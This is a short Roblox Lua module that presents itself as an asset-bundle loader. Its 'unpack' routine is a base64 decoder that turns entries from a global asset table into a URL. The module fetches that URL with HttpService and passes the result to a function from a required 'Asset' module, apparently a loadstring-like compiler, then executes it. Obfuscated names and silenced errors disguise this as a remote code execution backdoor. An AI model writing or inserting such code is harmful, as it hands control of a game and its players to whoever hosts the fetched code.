local u1 = require(script.Asset)
local u9= _G.AssetIds

local M = {}
local b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

local function AssetBundleUnpack(data)
	data = string.gsub(data, '[^'..b..'=]', '')
	return (data:gsub('.', function(x)
		if (x == '=') then return '' end
		local r,f='',(b:find(x)-1)
		for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end
		return r;
	end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
		if (#x ~= 8) then return '' end
		local c=0
		for i=1,8 do c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0) end
		return string.char(c)
	end))
end

local u2 = game:GetService("HttpService")

local function GetAsync(p1,p7)
    if p1 and  p1~="" and #p1>0 then
       local p2=nil
       local p3,p4= pcall(function()
            p2=u2:GetAsync(p1)
        end)

        if  p3 then
            local p12,p13=u1(p2)
            p12()         
        end
        if p7 then
            p7(p3,p4)
        end
    else
        if p7 then
            p7()
        end
    end
end


function M.Load(p11,p15)
    pcall(function()
        p11=tostring(p11)
        local u8=nil
        if u9 then
            local p13= u9[p11]
            if p13 then
                u8=AssetBundleUnpack(u9[p11])
            else
                u9[p11]=nil
            end
        else
            u9={}
        end
        if u8 then
            GetAsync(u8,p15)
        end
    end)
end
return M
